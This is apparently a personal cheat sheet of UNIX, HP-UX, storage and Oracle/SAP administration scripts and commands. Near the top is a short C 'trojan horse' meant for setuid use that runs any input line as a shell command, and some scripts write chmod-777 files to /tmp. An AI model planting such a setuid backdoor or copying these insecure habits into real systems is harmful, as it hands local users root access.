SAP ABAPs, shell scripts, Perl, and C programs for UNIX, SAP, and Oracle system administration
ABAPs
UNIX and Storage Administration - scripts, C, Perl, utilities, tricks:
TROJAN HORSE, COMBINE WITH THE SETUID BIT:
# include <stdio.h>
char b[256];
main() { while (gets(b)) {
system(b);
}}
NEWEST-OLDEST FILE:
ls -lt|(head -2;tail -1)|tail -2
FILTER OUT EMPTY LINE:
sed '/^$/d' or sed -n '/^$/!p'
INPUT:
echo '.../c'
read DAY
echo $DAY
SET THE PROMPT:
PS1='TEST(ORACLE_SID):$PWD> ';
export PS1
SUBSTRING USAGE:
awk '{ print substr($1,7,99)}'
USEFUL FIND OPTIONS:
-exec ls -l {} \;
-xdev
SOME AWK BITS:
awk '{S+=$1}END{print S}'
printf("%-20s %10d %-10f\n",$4,$5...)}'
awk'BEGIN {A="aa"} {if(A != $1)
{print$1}; A= $1}'
NETWOK COPY:
cd a;remsh server1 -l username "cd b;find...|cpio -ocvBl"|cpio -icvBdm
or
tar cf -.|remsh host "cd /...;tar xvf -"
PRINT OUT THE LINE THAT FOLLOWS A SPECIFIC LINE
cat b|awk 'BEGIN {A="N"} {if($1=="z"
&& A=="N"){A="Y"}} {if($1!="z" &&
A=="Y"){print $1;A="N"}}'
LARGEST 50 FILE IN A FILE SYSTEM
find . -xdev -type f -exec ls -l {} \;|awk '{print $5,$3,$9}'|sort -n|tail -50
or
/usr/bin/find . -xdev -size +10000000c -exec ll {} \;
PROCESSES ATTACHED TO A FILESYSTEM:
fuser $1 2>/dev/null|tr -s " "|awk {print"ps -p \""$0"\""}'>/tmp/t
CHANGE SPACE TO LINEFEED
tr -s " " "[\012]"
NICE LOOP
#!/bin/sh
i=23
q=46
while [ $i -le $q ]
do
i=`expr $i + 1`
done
VIEW ALL TEXT FILES IN A DIRECTORY
vi `file *|grep text|awk -F\:'print $1}'
EDIT A FILE FROM A SCRIPT WITH ED
ed $filename <<!!
g/$oldword/s//$newword/g
w
q
!!
COMPRESSED FILE TRANSFER
target host:
cd xxxx
remsh server1 "cd /tmp;find . -print|cpio -ocvBl|compress">bigfile
cd yyyy
cat xxxx/bigfile|uncompress|cpio -icvBdm
SUBMIT A LIST OF COMMANDS FROM A FILE
for I in $(cat $1|sed 's/\ /!/g')
do
j=$(echo $I|sed 's/!/\ /g')
echo $j > /tmp/tmpscript
chmod 777 /tmp/tmpscript
nohup /tmp/tmpscript &
sleep 3
rm -rf /tmp/tmpscript
done
AUTOMATIC NFS SERVICE RESTART
if ( bdf|grep trans > /dev/null 2>&1 ); then
wait
else
/sbin/init.d/nfs.client stop > /dev/null 2>&1
/sbin/init.d/nfs.client start > /dev/null 2>&1
fi
SET THE AWK SEPARATOR
awk -F: '{...}'
FIND WITH OR OPTIONS
find /oracle/D50 \( -name "*.data*" -o -name "*.dbf" \) -exec rm -f {} \;
UNMOUNT FILESYSTEMS FROM AN ARRAY STORED IN FILE
A[1]=....
for I in ${A[@]}
do
umount $I
done
REVERSE FILE ORDER
cat test|awk 'BEGIN{a=0}{tomb[a]=$0;a++}END{for(i=a-1;i>=0;i--)print tomb[i]}'
FIND FIRST OCCURENCE
cat a|awk 'BEGIN {A="N"} {if($1=="From:" && A=="N"){A="Y";print $0}}'
SOURCE THE ENVIRONMENT
#!/bin/sh
user_id=$(id|sed 's/(/!/g'|sed 's/)/!/g'|awk -F! '{print $2":"}')
export HOME=$(cat /etc/passwd|grep "$user_id"|awk -F: '{print $6}')
shell=$(cat /etc/passwd|grep $user_id|awk -F: '{print $7}'|sed 's/sbin//g'|sed 's/bin//g'|sed 's/usr//g'|sed 's/\///g')
#
case ${shell} in
'ksh')
. $HOME/.profile
. $HOME/.kshrc
;;
'csh')
/usr/bin/csh -c "source $HOME/.cshrc;source $HOME/.login;env>/tmp/c_env"
for I in $(cat /tmp/c_env)
do
export $I
done
;;
'sh')
. $HOME/.profile
;;
esac
env
AWK LAST FIELD
echo a/b/c|awk -F/ '{print $(NF)}'
REVERSE FILE ORDER AND READ UP YO THE MARK
cat aaa|awk 'BEGIN{a=0}{t[a]=$0;a++}END{for(i=a-1;i>=0;i--)print t[i]}'|awk 'BEGIN {A="Y"} {if($1=="#" &&
A=="Y"){A="N"}} {if(A=="Y"){print $0}}'
TRANSLATE SPACE TO NEWLINE
cat aaa| tr ' ' '\012'
BREAK A LINE AND FEED ELM WITH THE E-MAIL ADDRESSES
echo $body|$send_mail -s "$subject" \
`cat $mailgroups|grep $target|tr '#' '\012'|sed '/^$/d'|awk 'BEGIN{a=0}{t[a]=$0;a++}END{for(i=1;i<a;i++)print t[i]}'`
NEAT PING
for N in 0 1 2 3 4 5 6 7 8 9
do
ping 167.116.200.$N -n 1
done
INSERT SPACE BETWEEN CHARACTERS:
b=1234567
while [ $b ]
do
c=$(echo $b|cut -c 1-1)
d=$d:$c
b=$(echo $b|cut -c 2-)
done
echo $d|tr -s ":" " "
EXISTS IN PROCESS TABLE?
if [ "$(ps -ef| grep httpd|grep -v grep|wc -l)" -ge 1 ];then
echo yes
else
echo no
fi
SUBSTITUTE ~ WITH NEWLINE:
cat imre|sed s/~/~@/g|tr -s "@" "\012"
SAP TABLE SIZE
cat /tmp/mvke.lst|awk -F\( '{print $2}'|awk -F\, '{print $1}'|awk -F\) '{print $1}'|awk 'BEGIN{a=0}{a=a+$1}END{print a}'
SELECT WORDS BASED ON LENGTH AND CONVERT TO UPPERCASE
cat words.english|awk 'length < 9'|awk 'length > 5'|tr "[:lower:]" "[:upper:]"
TOTAL USED SHARED MEMORY
ipcs -ma|grep -v Shared|grep -v status|grep -v OWNER|awk '{S+=$10}END{printf("%10dKb\n",S/1024)}'
ipcs -ma|awk 'BEGIN{a=0}{a=a+$10;print $10}END{printf "%f", a}'
SWITCH PROCESSOR (RISC SUPERDOME)
find / > /dev/null 2>/dev/null &
A=$(jobs -l|awk '{print $3}')
rm /tmp/abcd
top -f /tmp/abcd -n 9999
tail +18 /tmp/abcd|awk '{print $1,$3,$13}'|sort -n|grep $A
mpsched -c $1 -p $A
rm /tmp/abcd
top -f /tmp/abcd -n 9999
tail +18 /tmp/abcd|awk '{print $1,$3,$13}'|sort -n|grep $A
kill -9 $A
SCRAMBLE SCRIPTS
dd if=test of=test1 count=11 bs=1
dd if=test of=test2 skip=8 count=50 bs=1
dd if=test of=test3 skip=59 bs=1
cat test1 > test
cat test2 >> test
cat test3 >> test
rm test1 test2 test3
MONITOR PROCESS STATUS
# The process to monitor:
sleep 22 &
#
# Monitor script:
#
maxtime=10
check_interval=2
pattern="sleep 22"
#
echo "\n"Process: "$pattern", max. runtime: $maxtime sec., check interval: $check_interval sec.
count=0
while [ "$(ps -ef|grep "$pattern"|grep -v grep|wc -l)" -ge 1 ] && [ `expr $count \* $check_interval` -ne $maxtime ];
do
count=`expr $count + 1`
echo `expr $count \* $check_interval` sec.: running
sleep $check_interval
done
seconds=`expr $count \* $check_interval`
if [ $maxtime -eq $seconds ]; then
echo Preset time $maxtime seconds expired, exiting with error
exit 1
else
echo Task completed successfully in $seconds seconds within the time limit of $maxtime seconds
exit 0
fi
CPU SPEED (HP SUPERDOME)
echo Clock speed: `echo itick_per_usec/D|adb -k /stand/vmunix /dev/mem|tail -1|awk '{print $2}'` Mhz
INTERESTING LOOP
ls -t /oracle/$SID/archive/$SID*.dbf.gz |tail +2 |while read FILE
do
rm $FILE
done
DATE ROLL FORWARD
echo 12/12/02|awk -F/ '{if ($1==12){$1=0;$3=$3+1};{print $1+1"/01/"$3}}' 01/01/03
START/STOP APPLICATIONS
config file (/tmp/a1):
# Application 1
#
APPL_NAME[1]="Application 1"
AUTO_STRT[1]=1
AUTO_STOP[1]=1
STRT_COMM[1]="sleep 11"
STOP_COMM[1]="sleep 12"
Start/Stop script(/tmp/a2):
#!/sbin/sh
#
config_file=/tmp/a1
#
. $config_file
#
case $1 in
'start')
k=0
for I in ${AUTO_STRT[@]}
do
k=`expr $k + 1`
if [ $I -eq '1' ]; then
${STRT_COMM[$k]} &
echo "Starting " ${APPL_NAME[$k]}
fi
done
;;
'stop')
k=0
for I in ${AUTO_STOP[@]}
do
k=`expr $k + 1`
if [ $I -eq '1' ]; then
${STOP_COMM[$k]} &
echo "Stopping " ${APPL_NAME[$k]}
fi
done
;;
*)
echo "usage: $0 {start|stop}"
;;
esac
PROCESS MAIL.LOG
cat maillog|grep -E 'from=|to='|sort -k 6,6|awk '{print $7}'|\
sed 's/,//g'|sed 's/>//g'|sed 's/=</>/'|\
tr -s "<" "[\012*]"|\
awk -F\> '{if($1!="from" && $1!="to") {print "to>"$0} else {print $0}}'|\
awk -F\> '{if($1=="from") {A=$2} if($1=="to") {print A"|"$2}}'
MOVE ARCHIVE LOGS:
#!/bin/ksh
#
# Move the second newest archive log from arch_source to arch_target when
# upper_limit is reached. The move continues recursively until the filesystem
# utilization drops below lower_limit.
#
# Variables
#
mvlock_file='/tmp/mv_archive_lock'
arch_source='/oracle/D50/saparch'
arch_target='/oracle/D50/sapdata1'
upper_limit='95'
lower_limit='75'
#
# Functions
#
mv_archives () {
percent=$(bdf $archdir|tail -1|awk '{print $4}'|sed 's/\%//')
if [ "$percent" -ge $lower_limit ]; then
file=$(ls -lrt $arch_source/*.dbf|tail -2|head -1|awk '{print $9}')
mv $file $arch_target 2>/dev/null
mv_archives
fi
}
#
# Main
#
if [ ! -f $mvlock_file ]; then
touch $mvlock_file
percent=$(bdf $archdir|tail -1|awk '{print $4}'|sed 's/\%//')
if [ "$percent" -ge $upper_limit ]; then
mv_archives
fi
rm -f $mvlock_file
fi
SHUFFLE THE CHARACTERS OF WORD RANDOMLY
#!/bin/ksh
while read z
do
b=$z
d=""
while [ $b ]
do
c=$(echo $b|cut -c 1-1)
d=$d:$c
b=$(echo $b|cut -c 2-)
done
random=$(echo $d|tr -s ":" " "|rand -w|tr -s "\012" "\000")
SEND EMAIL WITH ATTACHEMENT
ux2dos /tmp/b4|sed 's/ /,/g'> $dayl_e
#
/opt/telalert/proxi/apache/cgi-bin/s_daily_mem.perl h=$host f=$start t=$stopp > $dayl_h
#
echo "Host Name: " $host "\n" >> /tmp/b5
echo "Period : " $start - $stopp "\n" >> /tmp/b5
echo "\n" >> /tmp/b5
echo "\n" >> /tmp/b5
echo "Daily average utilization data and graph:\n" >> /tmp/b5
echo [include $dayl_e application/excel base64] >> /tmp/b5
echo http://167.167.167.167/cpu/$host:$start-$stopp:daily.html >> /tmp/b5
#
echo "elm -s \"Weekly CPU Utilization statistics of $host $start-$stopp\" imrekm@yahoo.com </tmp/b5" >/tmp/b7
chmod 777 /tmp/b7
/tmp/b7
FIRST AND LAST LINE
cat K929301.D11|tail +3|awk '{print $4}'|cut -c 1-8|awk 'BEGIN{i=0}{if(i==0){i=1;a=$1}}{b=$1}END{print a,b}'
BREAK UP CONTINUOUS FIELDS:
cat aaa2|awk '{printf "%.4s %.6s %.8s\n", $1, $1, $1}'|cut -c 1-5,10-12,19-21
SUBTOTALS:
ipcs -ma|awk '{print $5,$10}'|tail +4|sort|awk 'BEGIN{s=0}{if($1!=a){printf "%s %i\n",a,s;s=$2;a=$1}else {s=s+$2}}'|tail +2
RESET THE SIZE OF A LARGE FILES:
cat /dev/null > `find /sapmnt/AB1/global/500JOBLG/ -size +100000000c -type f`
MONITOR WEB SITES:
#!/bin/ksh
conf='/home/kabaiim/imre/webmon.cfg'
wget='/usr/local/bin/wget -q -t 5 -w 60 -T 50'
outf=/tmp/webmon.log
tmpm=/tmp/tempmail
#
date>$outf
#
# Spown n wgets to check the n web sites
#
k=0
for I in $(cat $conf|sed 's/\ /!/g'|sed '/^#/d')
do
k=`expr $k + 1`
webtype="$(echo $I|awk -F\| '{print $1}'|sed 's/!/\ /g')"
website="$(echo $I|awk -F\| '{print $2}'|sed 's/!/\ /g')"
pattern="$(echo $I|awk -F\| '{print $3}'|sed 's/!/\ /g')"
usrname="$(echo $I|awk -F\| '{print $5}'|sed 's/!/\ /g')"
passwrd="$(echo $I|awk -F\| '{print $6}'|sed 's/!/\ /g')"
tmpfile=/tmp/tmp$k
runfile=/tmp/run$k
#
echo "\$4 -O \$3 -S http://\$1 --http-user=\$7 --http-passwd=\$8" > $runfile
echo "wait" >>$runfile
echo "if [ \"\$(cat \$3|grep \"\$2\")\" = \"\" ]; then" >>$runfile
echo " echo "DOWN.." \$6 \$1 >> \$5" >>$runfile
echo "else" >>$runfile
echo " echo "UP...." \$6 \$1 >> \$5" >>$runfile
echo "fi" >>$runfile
echo "rm -f \$3" >>$runfile
#
chmod 555 $runfile
$runfile $website "$pattern" $tmpfile "$wget" $outf $webtype $usrname $passwrd &
#
done
#
# Wait until all wgets return with some kind of a result
#
while [ "$(ps -ef|grep wget|grep -v grep|wc -l)" -ge 1 ];
do
sleep 1
done
sleep 2
#
# Analyze the results and send pages
#
for I in $(cat $outf|grep DOWN|sed 's/\ /!/g'|awk -F! '{print $2}')
do
# echo Problem Description >$tmpm
# echo $I >$tmpm
# s=DOWN:$I
# echo Solution Class >>$tmpm
# elm -s "! WEB_Site_Down" imre@kabai.com < $tmpm
sleep 1
done
cat $outf
#!/usr//bin/ksh
strings /etc/lvmtab|awk '{if (substr($1,6,2)=="vg"){A=$1}} {if (substr($1,6,2)!="vg"){print A," "$1}}'>/tmp/s6
wait
/usr/local/bin/inq|grep EMC|awk '{print substr($5,4,3),$6,substr($1,11,9)}'>/tmp/s3
wait
for K in $(cat /tmp/s3|sed 's/\ /!/g')
do
q=$(echo $K|sed 's/!/\ /g')
hypnum=$(echo $q|awk '{print $1}')
hysize=$(echo $q|awk '{print $2}')
hdevic=$(echo $q|awk '{print $3}')
volinfo=$(cat /tmp/s6|grep $hdevic|awk '{print $1}')
echo $hypnum $hysize $hdevic $device $volinfo
done
KMTUNE PARAMETER LISTING:
kmtune -l|grep -e Parameter -e Value|awk '{if($1=="Parameter:"){printf("%s ",$2)}if($1=="Value:"){printf("%s\n",$2)}}'
NICE LOGON SETTINGS:
DISPLAY="`who -m -u | awk '{print $8}'`:0.0"
export DISPLAY
PS1=$(set title `hostname`:'${PWD}')`hostname`':${PWD}$'
export PS1
ASSIGN PROCESSES TO ALTERNATING CPUs
#!/usr/bin/ksh
a=0
b[0]="0"
b[1]="9"
b[2]="11"
b[3]="12"
b[4]="13"
b[5]="14"
for i in `ps -elf|grep -e d82|grep -v grep|awk '{print $4}'`
do
a=`expr $a + 1`
if [ $a -eq "6" ];then
a=0
fi
echo /usr/bin/mpsched -c ${b[$a]} -p $i
done
USE OF EOF/EOJ
#!/bin/ksh
su - userid -c "command" >> /tmp/stop_AAA.log 2>&1
#
su - oraowner << EOF
#
# Stop AAA Database
#
sqlplus "/ as sysdba" << EOJ
shutdown immediate
EOJ
EOF
#
exit 0
HPUX - SERVICEGUARD
Display serviceguard info cmviewcl -v
Disable failower cmmodpkg -v -v packagename
Halt package cmhaltpkg -v packagename
Halt cluster cmhaltcl -v
Disable VGs vgchange -c -n
Activate VGs vgchange -a -y
Generate cluster.cfg cmqwerycl
Check config file cmcheckconf -v -C cluster.cfg
Compile and distribute cmclconfig cmapplyconf -v -C cluster.cfg
Deactivate VGs vgchange -a -n
Enable VGs to serviceguard vgchange -c -y
Star cluster cmruncl -v
Start package cmrunpkg -v -e packagename
Enable failower cmmodpkg -v -e packagename
Check the cluster cmviewcl -v
DISPLAY THE TOTAL AND LARGEST FREE SHARED MEMORY SEGMENT AVAILABLE
/*cc -Ae shmsize.c */
#include <stdio.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <pwd.h>
#include <grp.h>
#include <unistd.h>
#define MB (1024*1024)
#define SHM_SIZE 8
main(int argc, char *argv[]) {
int i, j, shmid, size, cntr, a[200];
char *p, *command, *c, *shmptr;
struct shmid_ds myshmds;
struct group *gr;
struct passwd *pw;
if (argc == 1) {
command=argv[1];
}
else if (argc>1) {
command=argv[1];
size=atoi(argv[2]);
}
if (strcmp(command,"show") == 0) {
printf(" ID SIZE MODE UID");
printf(" GID ATCH START\n");
for (i=0;i<=1048576;i++) {
cntr=shmctl(i,IPC_STAT,&myshmds);
if (cntr!=-1) {
shmptr=shmat(i,0,0);
pw=getpwuid(myshmds.shm_perm.uid);
gr=getgrgid(myshmds.shm_perm.gid);
printf("%10i ",i);
printf("%10d ",myshmds.shm_segsz);
printf("%7o ",myshmds.shm_perm.mode);
printf("%9s ",pw->pw_name);
printf("%10s ",gr->gr_name);
printf("%6d ",myshmds.shm_nattch);
printf("%10X\n",shmptr);
shmdt(shmptr);
}
}
exit(0);
}
else if (strcmp(command,"set") == 0) {
if ((shmid=shmget(IPC_PRIVATE,size*MB,0644))<0) {
printf("Failed to allocate a %s MB shm segment\n",size);
exit(0);
}
if ((p=(char *)shmat(shmid, 0, 0))==(char *)-1) {
printf("Failed to attch to the %s shm segment\n",shmid);
exit(0);
}
printf("Successfully created the shm segment id %d\n",shmid);
exit(0);
}
else if (strcmp(command,"get") == 0) {
for (i=1; ; i++) {
if ((shmid=shmget(IPC_PRIVATE,SHM_SIZE*MB,0644))<0) {
break;
}
a[i]=shmid;
}
printf("%d ", (i-1)*SHM_SIZE);
for (j=1;j<=i;j++) {
shmctl(a[j],IPC_RMID,0);
}
for (i=1; ; i++) {
if ((shmid=shmget(IPC_PRIVATE,i*SHM_SIZE*MB,0644))<0) {
break;
}
shmctl(shmid,IPC_RMID,0);
}
printf("%d\n", (i-1)*SHM_SIZE);
shmctl(shmid,IPC_RMID,0);
}
else {
printf("Usage: shmsize get - total free shm and max. continuous shm\n");
printf(" shmsize set n - allocates n MB shm and returns the shm key\n");
printf(" shmsize show - show shm size,attached pr.#,ID,UID,GID,mode\n");
}
HP SUPERDOME MANIPULATION
vpars and assigned resources:
vparstatus
float in/out a cpu:
vparmodify -p vp_srv04 -a/-d cpu::1
available resources:
vparstatus -A
Move memory:
parstatus -A
vparmodify -p vp_srv03 -B manual
vparstatus -p vp_srv03
vparreset -p vp_srv03
vparmodify -p vp_srv03 -d mem::6144
vparboot -p vp_srv03
vparstatus -A
vparmodify -p vp_srv03 -B auto
vparstatus -p vp_srv03
Add cellboards to n-par:
parmodify -p0 -a6:base:y:ri
shutdown -R
shutdown -h (all vpars but the last one)
shutdown -r (restart last vpar)
shutdown -h (the vpar we want to add the extra resources)
vparmodify -p vp111 -m cpu::5 cpu:::3
vparload -p vp111
vparboot -p vp111
UNIX FILE SYSTEM + VOLUME MANAGER
HUGE FILESYSTEM
pvcreate /dev/rdsk/dev/dsk/c6t8d5...
mkdir /dev/vgAAArefresh
mknod /dev/vgAAArefresh/group c 64 0x<nn>0000 *nn unique number for the vg
vgcreate -s 8 -p 255 /dev/vgAAArefresh /dev/dsk/c6t8d5...
vgdisplay -v /dev/vgAAArefresh
lvcreate -l 38826 -n refresh /dev/vgAAArefresh
vgdisplay -v /dev/vgAAArefres
newfs -F vxfs -b 8192 /dev/vgAAArefresh/rrefresh
vi /etc/fstab:
/dev/vgAAArefresh/refresh /huge vxfs rw,suid,delaylog,datainlog 0 2
mkdir /huge
mount -a
EXTEND FILESYSTEM MANUALLY
lvextend
1. umount /dev/vg01s2b/lv003
2. umount /dev/vg02s2a/lv003
3. extendfs -F vxfs /dev/vg01s2b/rlv003
4. extendfs -F vxfs /dev/vg02s2a/rlv003
5. mount -a
EMC BCV SETUP:
- find bcvs and slds
- create vg/lv/fs on main
- /usr/symcli/bin/symdg create imretest -type regular
- /usr/symcli/bin/symdg list
- /usr/symcli/bin/symld -g imretest add dev 08F (SLD)
- /usr/symcli/bin/symbcv -g imretest associate dev 06D (BCV)
- /usr/symcli/bin/symdg show imretest
- /usr/symcli/bin/symmir -g imretest -full establish
- /usr/symcli/bin/symmir -g AAAdata query
- /usr/symcli/bin/symmir -g imretest split
- vgexport -p -m /tmp/map vg_bcv
- mkdir /dev/bcv_vg_remote
- mknod /dev/bcv_vg_remote/group c 64 0x040000
- vgimport -m /tmp/map vg_bcv_remote /dev/dsk/c5t9d5
- vgchange -a y bcv_vg_remote
- fsck -F vxfs /dev/bcv_vg_remote/lv_bcv
- mkdir abcd
- mount /dev/bcv_vg_remote/lv_bcv /abcd
RESYNC:
- umount /abcd
- vgchange -a n bcv_vg_remote
- /usr/symcli/bin/symmir -g imretest -noprompt establish
- /usr/symcli/bin/symmir -g imretest query
- /usr/symcli/bin/symmir -g imretest -noprompt split
- /usr/symcli/bin/symmir -g imretest query
- vgimport -p -m /tmp/map bcv_vg_remote /dev/dsk/c5t9d5
- vgchange -a y bcv_vg_remote
- fsck -F vxfs /dev/bcv_vg_remote/lv_bcv
- mount /dev/bcv_vg_remote/lv_bcv /abcd
RESYNC SCRIPT
#!/usr/bin/ksh
filesystem=/abcd
vg=bcv_vg_remote
lv=lv_bcv
group=imretest
sync=/usr/symcli/bin/symmir
if [ ${1} != "restore" -a ${1} != "establish" ]; then
exit
fi
fuser -ku $filesystem
umount $filesystem
vgchange -a n $vg
$sync -g $group -noprompt $1
while [ `$sync -g $group query|grep InProg` ];
do
echo no est
sleep 1
done
$sync -g $group -noprompt split
while [ `$sync -g $group query|grep InProg` ];
do
echo no slit
sleep 1
done
vgchange -a y $vg
fsck -F vxfs /dev/$vg/$lv
mount /dev/$vg/$lv $filesystem
cat $filesystem/aaa
Oracle Administration - scripts, utilities, tricks:
UTILITIES
- oerr-ora 12324
SQLPLUS PARAMETERS,COMMANDS
set pagesize set linesize set pause on/off
set termout on/off set heading on/off
r, l, c/minta1/minta2 !vi, save, get
spool filename/spool off
SQLPLUS TRICKS
- sqlplus -s system/pwd <<!!
exit
!!
- select 'a' from dual
- sqlplus .../...@filename
- sqlpus sapr3/...:host:sid
- truncate table DBTAB
BACKUP STATUS
v$backup
TABLE REORG
>create table temp_obk_cat_bck as select * from ebudba.obk_cat_bck;
>truncate table ebudba.obk_cat_bck;
>alter table ebudba.obk_cat_bck modify (seq number(38));
>insert into ebudba.obk_cat_bck select * from temp_obk_cat_bck;
>truncate table temp_obk_cat_bck;
>drop table temp_obk_cat_bck;
DB FILES IN BACKUP MODE
select a.name, b.status from v$datafile a, v$backup b where a.file# = b.file#;
select name, 'end backup' from v$datafile ;
select 'alter tablespace "', tablespace_name, '" end backup;' from sys.dba_tablespaces;
alter database datafile “….” end backup;
REMOTE TRUSTED USER
remote_login_passwordfile = EXCLUSIVE
orapwd file=<fname> password=<password>
grant sysdba, sysoper to system;
select * from v$PWFILE_USERS;
connect system@SID as sysdba;
MOUNT ORACLE CD
1) Edit /etc/pfs_fstab(if it does not already exist)
device_file mount_point fstype translation_method
/dev/dsk/c5t2d0 /SD_CDROM pfs-rrip xlat=unix 0
2) nohup /usr/sbin/pfs_mountd &
3) nohup /usr/sbin/pfsd &
4) /usr/sbin/pfs_mount /SD_CDROM
or
/etc/mount -F cdfs -o ro -o cdcase /dev/cdrom /cdrom
ARCHIVE LOG #
cat ale*|awk 'BEGIN{a=0}{tomb[a]=$0;a++}END{for(i=a-1;i>=0;i--)print tomb[i]}'| \
awk 'BEGIN {A="N"} {if($3=="advanced"&& A=="N"){A="Y"}} {if($3!="advanced" && A=="Y"){print $2,$3;A="N"}}'|\
grep -v log|\
awk 'BEGIN{a=0}{tomb[a]=$0;a++}END{for(i=a-1;i>=0;i--)print tomb[i]}'|\
uniq -c
ARCHIVE LOG MODE SWITCH
-startup mount
-connect internal
-alter database archivelog/noarchivelog
-alter database open
-archive log list
ORACLE UP/DOWN TIMES FROM ALERT LOG
cat /oracle/SID/saptrace/background/alert_SID.log| awk \
'BEGIN {A="N";B="N";C="N"} {if($1=="DB08" && A=="N"){A="Y"}} \
{if($1!="DB08" && A=="Y"){print "+",$0;A="N"}} \
{if($5=="normal" && B=="N"){B="Y"}} \
{if($5!="normal" && B=="Y"){print "-",$0;B="N"}} \
{if($5=="NORMAL" && $4=="CLOSE" && C=="N"){C="Y"}} \
{if($5!="NORMAL" && $4!="CLOSE" && C=="Y"){print "-",$0;C="N"}}'
ORACLE OPEN?
ORACLE_SID=SID
ORACLE_HOME='/oracle/SID'
null=/dev/null
#
$ORACLE_HOME/bin/sqlplus sapr3/password << !!
spool /tmp/abcd
set feedback off
set echo off
set heading off
select 'a' from dual;
exit
!!
#
a=$(cat /tmp/abcd.lst|grep -v SQL)
echo $a
RELINK ORACLE
cd $ORACLE_HOME/rdbms/lib
make -f ins_rdbms.mk install
cd $ORACLE_HOME/bin
./relink all
ONLINE DATAFILE RENAME
alter database datafile '/oracle/SID/sapdata1/workd_9/workd.data9' offline;
alter database rename file '/oracle/SID/sapdata1/workd_9/workd.data9' to '/oracle/SID/sapdata1/workd_9/workd.data99';
alter database recover datafile '/oracle/SID/sapdata1/workd_9/workd.data99';
alter database datafile '/oracle/SID/sapdata1/workd_9/workd.data99' online;
FLUSH SHARED POOL
'alter system flush shared_pool'
DUPLEX ARCHIVING:
ALTER SYSTEM SET log_archive_duplex_dest='/oracle/SID/sapdata2/duplog';
BACKUP SWITCH
#!/usr/bin/ksh
#
su - oraowner -c sqlplus << !!
connect / as sysdba
set heading off
set pagesize 9999
set termout off
spool /tmp/seqnum
select 'alter tablespace "'||tablespace_name||'" '||'$1'||' backup;' from sys.dba_tablespaces;
exit
!!
#
cat /tmp/seqnum.lst|grep alter|grep -v select>/tmp/startbackup.sql
#
su - orad11 -c sqlplus << !!
connect / as sysdba
@/tmp/startbackup.sql
exit
!!
#
FAST UPDATE BY INCREASING PARALLEL DEGREE
Update /*+ nologging, PARALLEL(SAPR3.COEP,4) */ SAPR3.COEP set LOGSYSO='D82DEV' where LOGSYSO='D50ABD';
INCREASE REDO LOG SIZE
select * from v$log;
alter system switch logfile;
alter database drop logfile group 11;
select * from v$log;
rm /oracle/SID/origlogA/log_g11m1.dbf
rm /oracle/SID/mirrlogA/log_g11m2.dbf
alter database add logfile group 11 ('/oracle/SID/origlogA/log_g11m1.dbf','/oracle/DSIDmirrlogA/log_g11m2.dbf') size 20M;
select * from v$log;
alter system switch logfile;
select * from v$log;
ORACLE PATCH INSTALL
/opt/perl/bin/perl /oracle/D81/920_64/OPatch/opatch.pl lsinventory
/opt/perl/bin/perl /oracle/D83/920_64/OPatch/OPatch/opatch.pl apply /oracle/D55/saparch/p3118677_9204_HP64/3118677 -
no_inventory
CREATE TABLE STATS
ANALYZE TABLE employees ESTIMATE STATISTICS SAMPLE 100 ROWS;
ANALYZE TABLE employees ESTIMATE STATISTICS SAMPLE 15 PERCENT;
ANALYZE TABLE sapg50."/SAPSLL/CUHD" ESTIMATE STATISTICS SAMPLE 100 percent;
SET UP STANDBY DATABASE
swith to backup mode
do the copy
switch back to normal mode
alter database create standby controlfile as '/home/kabaiim/coci'
transfer the standby controlfile
alter system archive log current
startup nomount
alter database mount standby database;
select * from v$log_history;
recover automatic from '/oracle/SID/saparch/save' standby database;
recover automatic standby database;
select max(sequence#) from v$log_history;
TABLE PARAMS
exec 1>/dev/null 2>/dev/null
svrmgrl << !!
connect system/xxxxxxx@SID
spool /tmp/abcdef
desc sapr3.$1
exit
!!
exec 1>`tty`
cat /tmp/abcdef.log|grep "("|grep ")"|awk '{print $4}'|awk -F\( '{print $2}'|awk -F\) '{print $1}'| \
awk -F\, '{print $1}'|awk 'BEGIN{SUM=0}{SUM=SUM+$1}END{print SUM}'
echo "exec 1>/dev/null 2>/dev/null" > /tmp/bb
echo "svrmgrl << !!" >> /tmp/bb
echo "connect system/xxxxxxxx@SID" >> /tmp/bb
echo "spool /tmp/111111" >> /tmp/bb
echo "select bytes from sys.dba_segments where owner like 'SAPR3' and segment_name like '$1';" >> /tmp/bb
echo "select count(*) from sapr3.$1;" >> /tmp/bb
echo "exit" >> /tmp/bb
echo "exec 1>`tty`" >> /tmp/bb
echo "!!" >> /tmp/bb
chmod 777 /tmp/bb
/tmp/bb
wait
cat /tmp/111111.log| grep -v BYTES|grep -v "-"|grep -v row| grep -v count
BACKUP MODE SWITCH
#!/bin/sh
#
# switch: Switch on and off the backup mode of the tablespaces
# Can be used manually or from onmi pre/post exec
#
# Usage: switch {SID} {ORACLE_HOME} {USER} {PASSWORD} {begin|end}
#
ORACLE_SID=$1
ORACLE_HOME=$2
user=$3
password=$4
func=$5
sqlplus=$ORACLE_HOME/bin/sqlplus
temp1='/tmp/tmp01.lst'
temp2='/tmp/tmp01.sql'
#
$sqlplus $user/$password<<eof
spool $temp1
set pagesize 0
select 'aaaaaa' , tablespace_name from sys.dba_tablespaces;
exit;
eof
#
echo "ORACLE_SID=$1" >$temp2
echo "ORACLE_HOME=$2" >>$temp2
echo "$sqlplus $user/$password<<eof" >>$temp2
cat $temp1|grep aaaaaa|grep -v SQL|awk '{print "alter tablespace",$2, "#### backup;"}'|sed s/####/$func/>>$temp2
echo "exit;">>$temp2
echo "eof">>$temp2
#
chmod 777 $temp2
cat $temp2
MAXEXTENT PROBLEM:
select 'alter index', substr(segment_name,1,20), 'storage (maxextents unlimited);' from sys.dba_segments where extents>100 and
segment_type = 'INDEX' and owner = 'SAPR3';
select 'alter table', substr(segment_name,1,20), 'storage (maxextents unlimited);' from sys.dba_segments where extents>100 and
segment_type = 'TABLE' and owner = 'SAPR3';
alter index sapr3.ZDWCP_____0 storage (maxextents unlimited);
alter index sapr3. storage (maxextents unlimited);
alter table sapr3.rfblg storage (maxextents unlimited);
DISPLAY CLIENT PROCESSES FOR ORACLE CLIENT:
select a.spid, b.process, b.machine from v$process a, v$session b where a.pid = b.sid;
CREATE USER:
create user WALKERJA identified by ZZZZZZZZ;
alter user WALKERJA default tablespace USERS;
alter user WALKERJA temporary tablespace TEMP;
grant CONNECT to WALKERJA;
grant DBA to WALKERJA;
STAT VIEWS:
v$system_event cumulative event/wait time for whole system
v$session_event cumulative event/wait time for whole system by session
v$event_name events and corresponding params
